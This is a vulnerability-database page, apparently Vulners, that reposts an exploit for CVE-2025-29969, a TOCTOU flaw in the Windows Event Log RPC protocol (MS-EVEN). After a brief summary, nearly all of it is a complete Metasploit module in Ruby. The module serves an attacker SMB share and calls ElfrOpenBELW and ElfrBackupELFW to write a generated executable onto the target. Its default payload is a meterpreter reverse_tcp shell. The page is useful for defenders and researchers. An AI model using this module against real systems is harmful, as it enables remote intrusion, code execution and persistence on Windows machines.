| Reporter | Title | Published | Views | Family All 49 |
|---|---|---|---|---|
| CVE-2025-29969 | 13 May 202516:27 | – | circl | |
| Microsoft Windows 安全漏洞 | 13 May 202500:00 | – | cnnvd | |
| CVE-2025-29969 | 13 May 202516:58 | – | cve | |
| CVE-2025-29969 MS-EVEN RPC Remote Code Execution Vulnerability | 13 May 202516:58 | – | cvelist | |
| EUVD-2025-14468 | 3 Oct 202520:07 | – | euvd | |
| May 13, 2025—KB5058383 (OS Build 14393.8066) | 21 Aug 202507:00 | – | mskb | |
| May 13, 2025—KB5058384 (OS Build 25398.1611) | 21 Aug 202507:00 | – | mskb | |
| May 13, 2025—KB5058385 (OS Build 20348.3692) | 21 Aug 202507:00 | – | mskb | |
| May 13, 2025—KB5058387 (OS Build 10240.21014) | 21 Aug 202507:00 | – | mskb | |
| May 13, 2025—KB5058392 (OS Build 17763.7314) | 21 Aug 202507:00 | – | mskb |
=============================================================================================================================================
| # Title : MS‑EVEN TOCTOU Remote Arbitrary File Write via ElfrBackupELFW Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
=============================================================================================================================================
[+] Summary : A Time-of-Check Time-of-Use (TOCTOU) vulnerability exists in the Microsoft Event Log Remote Protocol (MS‑EVEN).
By abusing the ElfrBackupELFW RPC function, an authenticated low-privileged user can coerce the Windows Event Log service into writing arbitrary files to a chosen location on the target system.
The issue stems from improper validation and usage timing between path verification and file creation operations.
By leveraging a crafted remote SMB path and a controlled file sequence, an attacker can cause the service to write attacker‑controlled content to a local file path.
[+] Successful exploitation may result in:
Arbitrary file write on the remote Windows system
Potential privilege escalation (depending on target path)
Persistence or execution of attacker‑controlled binaries
[+] The vulnerability affects systems where the MS‑EVEN service is accessible over SMB named pipes and where valid authentication credentials are available.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
MS_EVEN_UUID = '82273fdc-e32a-18c3-3f78-827929dc23ea'
VERSIONS_TO_TRY = [
[1, 0],
[0, 0]
]
ELFR_OPEN_BEL_W = 0
ELFR_BACKUP_ELFW = 1
STATUS_SEVERITY_SUCCESS = 0x0
STATUS_SEVERITY_INFORMATIONAL = 0x1
STATUS_SEVERITY_WARNING = 0x2
STATUS_SEVERITY_ERROR = 0x3
STATUS_SUCCESS = 0x00000000
STATUS_BUFFER_OVERFLOW = 0x80000005
STATUS_NO_MORE_ENTRIES = 0x8000001A
STATUS_INVALID_HANDLE = 0xC0000008
STATUS_INVALID_PARAMETER = 0xC000000D
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034
STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A
STATUS_BAD_NETWORK_PATH = 0xC00000BE
NDR = Rex::Encoder::NDR
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS-EVEN TOCTOU Vulnerability (CVE-2025-29969) Remote File Write',
'Description' => %q{
This module exploits a Time-of-Check Time-of-Use (TOCTOU) vulnerability in the
MS-EVEN protocol (Windows Event Log service). A low-privileged authenticated user
can write arbitrary files to a remote Windows machine by abusing the
ElfrBackupELFW RPC function.
This module strictly follows the MS-EVEN protocol specification and uses proper
NDR pointer graph representation as defined in the official IDL.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-29969'],
['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29969']
],
'DisclosureDate' => '2025-05-13',
'Platform' => ['win'],
'Targets' => [
[
'Windows Automatic', {
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DefaultOptions' => {
'WfsDelay' => 30,
'DCERPC::fake_bind_multi' => true,
'SMB::ProtocolVersion' => 3
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK,
SCREEN_EFFECTS
]
}
)
)
register_options([
Opt::RHOST,
Opt::RPORT(445),
OptString.new('SMBHOST', [true, 'The IP of the attacker SMB server', nil]),
OptString.new('SMBUSER', [true, 'The username to authenticate as', nil]),
OptString.new('SMBPASS', [true, 'The password for the specified username', nil]),
OptString.new('SMBDOMAIN', [false, 'The Windows domain to authenticate to', '.']),
OptString.new('VALID_EVTX', [true, 'Local path to a valid EVTX file', nil]),
OptString.new('REMOTE_PATH', [true, 'Remote path to write the payload', 'C:\\Users\\Public\\payload.exe']),
OptString.new('SHARE_NAME', [true, 'Name of the SMB share', 'Share']),
OptString.new('NAMED_PIPE', [true, 'Named pipe for EventLog service', 'eventlog'])
])
register_advanced_options([
OptBool.new('SMB3_SUPPORT', [true, 'Enable SMB3 support', true]),
OptInt.new('BIND_RETRIES', [true, 'Number of bind retries', 3]),
OptBool.new('VERIFY_WITH_SMB', [true, 'Verify file write using SMB', true]),
OptString.new('VERIFY_SHARE', [true, 'SMB share for verification', 'C$']),
OptInt.new('SMB_SHARE_WAIT', [true, 'Seconds to wait for SMB share', 30]),
OptBool.new('STRICT_NTSTATUS', [true, 'Strict NTSTATUS parsing', true])
])
end
# ==================== NDR Helpers ====================
# NDR pointer graph representation:
# typedef struct _RPC_UNICODE_STRING {
# unsigned short Length;
# unsigned short MaximumLength;
# [size_is(MaximumLength/2), length_is(Length/2)] WCHAR* Buffer;
# } RPC_UNICODE_STRING;
#
# In NDR, the representation is:
# - pointer to struct (referent_id1)
# - struct containing:
# - Length
# - MaximumLength
# - pointer to buffer (referent_id2)
# - buffer data (conformant array)
def pack_rpc_unicode_string(str)
utf16_str = "#{str}\x00".encode('UTF-16LE')
length = utf16_str.bytesize - 2
max_length = utf16_str.bytesize
length = (length + 1) & ~1 if length.odd?
max_length = (max_length + 1) & ~1 if max_length.odd?
@struct_pointer_id ||= 0x20000
@buffer_pointer_id ||= 0x30000
struct_pointer = @struct_pointer_id
buffer_pointer = @buffer_pointer_id
@struct_pointer_id += 0x1000
@buffer_pointer_id += 0x1000
outer_pointer = NDR.long(struct_pointer)
structure = NDR.short(length) +
NDR.short(max_length) +
NDR.long(buffer_pointer) # pointer to buffer
buffer_data = NDR.UnicodeConformantVaryingStringPreBuilt(utf16_str)
outer_pointer + structure + buffer_data
end
def parse_context_handle(data)
return nil if data.nil? || data.length != 20
context_handle = {
raw: data,
attributes: data[0, 4].unpack('V')[0],
uuid_data: data[4, 16]
}
return nil if context_handle[:uuid_data].bytes.all?(&:zero?)
context_handle
end
def ntstatus_severity(status)
(status >> 30) & 0x3
end
def ntstatus_is_success?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_SUCCESS
end
def ntstatus_is_informational?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_INFORMATIONAL
end
def ntstatus_is_warning?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_WARNING
end
def ntstatus_is_error?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_ERROR
end
def ntstatus_to_s(status)
case status
when STATUS_SUCCESS
"STATUS_SUCCESS"
when STATUS_BUFFER_OVERFLOW
"STATUS_BUFFER_OVERFLOW"
when STATUS_NO_MORE_ENTRIES
"STATUS_NO_MORE_ENTRIES"
when STATUS_INVALID_HANDLE
"STATUS_INVALID_HANDLE"
when STATUS_INVALID_PARAMETER
"STATUS_INVALID_PARAMETER"
when STATUS_ACCESS_DENIED
"STATUS_ACCESS_DENIED"
when STATUS_OBJECT_NAME_NOT_FOUND
"STATUS_OBJECT_NAME_NOT_FOUND"
when STATUS_OBJECT_PATH_NOT_FOUND
"STATUS_OBJECT_PATH_NOT_FOUND"
when STATUS_BAD_NETWORK_PATH
"STATUS_BAD_NETWORK_PATH"
else
"0x#{status.to_s(16)}"
end
end
def parse_open_response(stub_data)
result = { status: nil, handle: nil, error: nil }
return result if stub_data.nil? || stub_data.empty?
if stub_data.length < 24
result[:error] = "Response too short: #{stub_data.length} bytes"
return result
end
result[:status] = stub_data[0, 4].unpack('V')[0]
handle_data = stub_data[4, 20]
result[:handle] = parse_context_handle(handle_data)
if stub_data.length > 24
vprint_warning("Open response has #{stub_data.length - 24} extra bytes")
end
result
end
def parse_backup_response(stub_data)
result = { status: nil, error: nil }
if stub_data.nil? || stub_data.empty?
result[:error] = "Empty response"
return result
end
if stub_data.length < 4
result[:error] = "Response too short: #{stub_data.length} bytes"
return result
end
result[:status] = stub_data[0, 4].unpack('V')[0]
if stub_data.length > 4
vprint_warning("Backup response has #{stub_data.length - 4} extra bytes")
end
result
end
def prepare_files(valid_evtx_path, payload_data)
base_name = File.basename(valid_evtx_path, '.evtx')
timestamp = Time.now.to_i
work_dir = File.join(File.dirname(valid_evtx_path), "exploit_#{timestamp}")
Dir.mkdir(work_dir) unless Dir.exist?(work_dir)
evtx_file = File.join(work_dir, "#{base_name}.evtx")
FileUtils.cp(valid_evtx_path, evtx_file)
payload_file = File.join(work_dir, 'payload.exe')
File.binwrite(payload_file, payload_data)
malicious_evtx = File.join(work_dir, "#{base_name}.malicious.evtx")
File.open(malicious_evtx, 'wb') do |f|
f.write(payload_data)
f.write("\x00")
f.write(File.binread(evtx_file))
end
{
work_dir: work_dir,
evtx: evtx_file,
payload: payload_file,
malicious_evtx: malicious_evtx
}
end
def verify_file_with_smb(remote_path, timeout = 10)
return true unless datastore['VERIFY_WITH_SMB']
begin
unless remote_path =~ /^([A-Z]):\\(.*)/
print_warning("Cannot parse remote path: #{remote_path}")
return false
end
drive = $1
rel_path = $2.gsub('\\', '/')
share_name = "#{drive}#{datastore['VERIFY_SHARE'][1..-1] || '$'}"
vprint_status("Verifying: \\\\#{datastore['RHOST']}\\#{share_name}\\#{rel_path}")
smb = Rex::Proto::SMB::SimpleClient.new(
datastore['RHOST'],
datastore['RPORT'] == 445 ? true : false
)
begin
smb.login(
datastore['SMBDOMAIN'] || '',
datastore['SMBUSER'],
datastore['SMBPASS']
)
tree = smb.tree_connect("\\\\#{datastore['RHOST']}\\#{share_name}")
begin
Timeout.timeout(timeout) do
fid = tree.open(rel_path, 0x10000) # GENERIC_READ
if fid
tree.close(fid)
print_good("File verified: #{remote_path}")
return true
end
end
rescue Timeout::Error
vprint_error("Timeout opening file")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
if e.to_s.include?("STATUS_OBJECT_NAME_NOT_FOUND")
vprint_status("File not found")
else
vprint_error("SMB error: #{e}")
end
end
tree.disconnect
ensure
smb.disconnect
end
rescue => e
vprint_error("Verification error: #{e}")
end
false
end
def check
begin
smb_versions = []
smb_versions << 3 if datastore['SMB3_SUPPORT']
smb_versions << 2 << 1
connect(versions: smb_versions.compact)
smb_login
disconnect
VERSIONS_TO_TRY.each do |major, minor|
begin
handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np',
["\\pipe\\#{datastore['NAMED_PIPE']}"])
dcerpc_bind(handle)
dcerpc_disconnect
return CheckCode::Appears("Successfully bound with version #{major}.#{minor}")
rescue => e
next
end
end
return CheckCode::Detected('Valid credentials but RPC bind failed')
rescue Rex::Proto::SMB::Exceptions::LoginError
return CheckCode::Detected('Authentication failed')
rescue => e
return CheckCode::Safe("Connection failed: #{e}")
ensure
dcerpc_disconnect rescue nil
disconnect rescue nil
end
end
def exploit
validate_options!
print_status('Generating payload executable')
payload_exe = generate_payload_exe
print_status('Preparing exploit files')
files = prepare_files(datastore['VALID_EVTX'], payload_exe)
print_status("Files prepared in: #{files[:work_dir]}")
print_status(" Original EVTX: #{File.basename(files[:evtx])}")
print_status(" Payload: #{File.basename(files[:payload])}")
print_status(" Malicious EVTX: #{File.basename(files[:malicious_evtx])}")
print_status("SMB share required on #{datastore['SMBHOST']}:")
print_status(" Share name: #{datastore['SHARE_NAME']}")
print_status(" Directory: #{files[:work_dir]}")
print_status(" File to use: #{File.basename(files[:malicious_evtx])}")
print_status("")
print_status("Command to run:")
print_status(" impacket-smbserver -smb2support #{datastore['SHARE_NAME']} #{files[:work_dir]}")
print_status("")
wait_time = datastore['SMB_SHARE_WAIT']
if wait_time > 0
print_status("Waiting #{wait_time} seconds for SMB share...")
wait_time.times do |i|
if i % 10 == 0
print_status(" #{wait_time - i} seconds remaining...")
end
sleep(1)
end
end
max_attempts = 3
max_attempts.times do |attempt|
print_status("Exploit attempt #{attempt + 1}/#{max_attempts}")
@struct_pointer_id = 0x20000 + (attempt * 0x10000)
@buffer_pointer_id = 0x30000 + (attempt * 0x10000)
begin
result = perform_exploit(files[:malicious_evtx])
case result[:status]
when :success
print_good("Exploit succeeded on attempt #{attempt + 1}: #{result[:message]}")
if verify_file_with_smb(datastore['REMOTE_PATH'])
print_good("File write verified")
end
register_file_for_cleanup(datastore['REMOTE_PATH'])
return
when :partial
print_warning("Partial success: #{result[:message]}")
print_warning("Check manually: #{datastore['REMOTE_PATH']}")
if verify_file_with_smb(datastore['REMOTE_PATH'])
print_good("File verified despite warning!")
return
end
else
print_error("Attempt #{attempt + 1} failed: #{result[:message]}")
end
rescue => e
print_error("Attempt #{attempt + 1} error: #{e}")
vprint_error("Backtrace: #{e.backtrace.first(3).join("\n")}")
ensure
dcerpc_disconnect rescue nil
disconnect rescue nil
sleep(3) if attempt < max_attempts - 1
end
end
fail_with(Failure::Unknown, "All #{max_attempts} exploit attempts failed")
end
def validate_options!
required = ['RHOST', 'SMBHOST', 'SMBUSER', 'SMBPASS', 'VALID_EVTX', 'REMOTE_PATH']
required.each do |opt|
if datastore[opt].nil? || datastore[opt].empty?
fail_with(Failure::BadConfig, "#{opt} must be set")
end
end
unless File.exist?(datastore['VALID_EVTX'])
fail_with(Failure::BadConfig, "EVTX file not found: #{datastore['VALID_EVTX']}")
end
end
def perform_exploit(malicious_evtx_path)
result = { status: :failed, message: nil }
evtx_filename = File.basename(malicious_evtx_path)
share_path = "\\\\#{datastore['SMBHOST']}\\#{datastore['SHARE_NAME']}\\#{evtx_filename}"
remote_path = datastore['REMOTE_PATH']
print_status("SMB share path: #{share_path}")
print_status("Target remote path: #{remote_path}")
smb_versions = []
smb_versions << 3 if datastore['SMB3_SUPPORT']
smb_versions << 2 << 1
begin
connect(versions: smb_versions.compact)
smb_login
rescue => e
result[:message] = "SMB connection failed: #{e}"
return result
end
bound = false
VERSIONS_TO_TRY.each do |major, minor|
datastore['BIND_RETRIES'].times do |attempt|
begin
handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np',
["\\pipe\\#{datastore['NAMED_PIPE']}"])
dcerpc_bind(handle)
bound = true
vprint_good("Bound with version #{major}.#{minor}")
break
rescue => e
vprint_status("Bind attempt #{attempt + 1} failed: #{e}")
sleep(1)
end
end
break if bound
end
unless bound
result[:message] = 'Failed to bind to MS-EVEN interface'
return result
end
print_status("Calling ElfrOpenBELW...")
unicode_share = pack_rpc_unicode_string(share_path)
open_stub = unicode_share +
NDR.long(0x00000001) + # ELOG_READ
NDR.long(0xC0000000) # GENERIC_READ | GENERIC_WRITE
begin
open_response_raw = dcerpc_call(ELFR_OPEN_BEL_W, open_stub)
open_result = parse_open_response(open_response_raw)
rescue => e
result[:message] = "ElfrOpenBELW failed: #{e}"
return result
end
if open_result[:error]
result[:message] = "ElfrOpenBELW parse error: #{open_result[:error]}"
return result
end
if open_result[:status].nil?
result[:message] = "ElfrOpenBELW returned no status"
return result
end
unless ntstatus_is_success?(open_result[:status])
result[:message] = "ElfrOpenBELW failed: #{ntstatus_to_s(open_result[:status])}"
return result
end
if open_result[:handle].nil?
result[:message] = "ElfrOpenBELW returned no handle"
return result
end
print_good("ElfrOpenBELW succeeded")
print_status("Calling ElfrBackupELFW...")
unicode_remote = pack_rpc_unicode_string(remote_path)
backup_stub = open_result[:handle][:raw] + unicode_remote
begin
backup_response_raw = dcerpc_call(ELFR_BACKUP_ELFW, backup_stub)
backup_result = parse_backup_response(backup_response_raw)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
if e.fault == 0x6d6f6c63 # "clom" signature
result[:status] = :partial
result[:message] = "RPC fault 0x6d6f6c63 - possible TOCTOU success"
else
result[:message] = "ElfrBackupELFW RPC fault: 0x#{e.fault.to_s(16)}"
end
return result
rescue => e
result[:message] = "ElfrBackupELFW failed: #{e}"
return result
end
if backup_result[:error]
if datastore['STRICT_NTSTATUS']
result[:message] = "ElfrBackupELFW parse error: #{backup_result[:error]}"
return result
else
result[:status] = :partial
result[:message] = "ElfrBackupELFW completed with parse error - possible success"
return result
end
end
if backup_result[:status].nil?
result[:status] = :partial
result[:message] = "ElfrBackupELFW returned no status"
return result
end
if ntstatus_is_success?(backup_result[:status])
result[:status] = :success
result[:message] = ntstatus_to_s(backup_result[:status])
elsif ntstatus_is_informational?(backup_result[:status])
result[:status] = :success
result[:message] = "#{ntstatus_to_s(backup_result[:status])} (informational)"
elsif ntstatus_is_warning?(backup_result[:status])
result[:status] = :partial
result[:message] = "#{ntstatus_to_s(backup_result[:status])} (warning)"
elsif backup_result[:status] == STATUS_INVALID_HANDLE
result[:status] = :partial
result[:message] = "#{ntstatus_to_s(backup_result[:status])} - possible TOCTOU success"
else
result[:message] = "ElfrBackupELFW failed: #{ntstatus_to_s(backup_result[:status])}"
end
result
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation